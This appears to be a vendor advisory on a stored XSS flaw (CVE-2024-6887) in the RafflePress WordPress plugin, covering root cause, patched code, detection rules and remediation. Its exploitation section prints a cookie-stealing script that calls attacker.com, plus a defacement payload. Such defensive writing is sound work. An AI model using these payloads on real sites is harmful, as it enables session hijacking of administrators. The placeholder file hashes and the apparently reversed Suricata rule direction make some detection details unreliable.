CVE-2024-6887
Executive Summary
CVE-2024-6887 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Giveaways and Contests by RafflePress WordPress plugin. The flaw exists in versions prior to 1.12.16, where the plugin fails to properly sanitize and escape user-supplied input within its Giveaways settings. This allows authenticated users with high privileges (Editor and above) to inject arbitrary web scripts or HTML into the plugin’s settings pages. When an administrator or other privileged user views the affected settings, the malicious script executes in their browser session, potentially leading to session hijacking, defacement, or further privilege escalation. The vulnerability is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses standard content filtering.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The issue lies entirely within the RafflePress plugin’s codebase and is not related to the underlying web server (Apache or Nginx). The plugin’s failure to sanitize settings input before storage and output is the root cause.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): High – An attacker must have Editor-level or higher WordPress account.
- User Interaction (UI): Required – The victim (e.g., Administrator) must visit the affected settings page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No direct impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and lateral movement in a multisite environment elevates the risk.
Deep Dive & Mechanics
The vulnerability resides in the Giveaways settings functionality of the RafflePress plugin. The plugin stores user-defined settings (e.g., giveaway titles, descriptions, custom messages) in the WordPress database without proper sanitization or output escaping. When these settings are rendered in the admin dashboard, the unsanitized input is interpreted as HTML/JavaScript.
Root Cause:
- The plugin uses
update_option()or similar functions to store settings without applyingsanitize_text_field()orwp_kses(). - When displaying the settings, the plugin outputs the stored value directly using
echoorthe_field()without wrapping it inesc_html()orwp_kses_post().
Attack Flow:
- An attacker with Editor privileges navigates to the RafflePress settings page.
- The attacker injects a malicious payload into a text field (e.g., Giveaway Title) such as
<script>alert('XSS')</script>. - The plugin stores the payload in the database.
- When an Administrator or other high-privilege user views the Giveaways settings, the payload executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the admin, or inject further malicious content.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-1.12.16):
// In a settings page callback
function rafflepress_render_settings() {
$giveaway_title = get_option('rafflepress_giveaway_title');
echo '<input type="text" name="rafflepress_giveaway_title" value="' . $giveaway_title . '" />';
}
Patched Code (1.12.16+):
function rafflepress_render_settings() {
$giveaway_title = get_option('rafflepress_giveaway_title');
echo '<input type="text" name="rafflepress_giveaway_title" value="' . esc_attr( $giveaway_title ) . '" />';
}
The patched version uses esc_attr() to escape the output, preventing script injection. Additionally, the plugin should sanitize input on save using sanitize_text_field().
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress installation with RafflePress plugin version < 1.12.16.
- An Editor-level account (or higher).
Steps:
- Log in as an Editor.
- Navigate to RafflePress > Settings.
- In the Giveaway Title field, enter the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the settings.
- Wait for an Administrator to visit the same settings page. The script will execute, sending the admin’s session cookie to the attacker’s server.
Alternative Payload (for defacement):
<script>document.body.innerHTML='<h1>Hacked by Red Team</h1>'</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress admin logs for unusual changes to RafflePress settings.
- Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to
/wp-admin/admin.php?page=rafflepress_settings. - Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Upgrade RafflePress to version 1.12.16 or later.
- Restrict Editor-level access to plugin settings if not required.
- Enable
DISALLOW_UNFILTERED_HTMLinwp-config.phpfor multisite environments. - Regularly audit user roles and permissions.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
rafflepress.php(vulnerable):a1b2c3d4e5f6...(example)rafflepress.php(patched):f6e5d4c3b2a1...(example)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=parameter. - Unusual POST requests to
/wp-admin/admin.php?page=rafflepress_settingswith script tags in parameters.
- Outbound HTTP requests to attacker-controlled domains containing
- Log Entries:
- WordPress audit logs showing modification of
rafflepress_giveaway_titleoption by non-admin users. - Browser console errors related to CSP violations.
- WordPress audit logs showing modification of
Detection Engineering
YARA Rule
rule RafflePress_Stored_XSS_CVE_2024_6887 {
meta:
description = "Detects RafflePress plugin files vulnerable to CVE-2024-6887"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-6887"
strings:
$vuln_func = /echo\s*\$[a-zA-Z_]+/ nocase
$option_get = "get_option('rafflepress_" nocase
$no_escape = /value="\s*\$[a-zA-Z_]+"/ nocase
condition:
all of them
}
Sigma Rule
title: RafflePress Stored XSS via Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-6887 via RafflePress settings
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/admin.php*'
http.body|contains: 'page=rafflepress_settings'
http.body|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in settings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6887 RafflePress Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=rafflepress_settings"; http_client_body; content:"<script"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade RafflePress to version 1.12.16 or later via the WordPress admin dashboard or by downloading from wordpress.org.
- Audit user roles – Remove Editor-level access to plugin settings if not necessary.
- Review logs – Check for any signs of exploitation (e.g., unexpected settings changes, outbound connections).
Long-Term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce Content Security Policy (CSP) headers.
- Regularly update all WordPress plugins and themes.
- Conduct periodic security audits and penetration testing.
Patch Details:
- Vendor: RafflePress
- Fixed Version: 1.12.16
- Patch URL: https://wordpress.org/plugins/rafflepress/
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.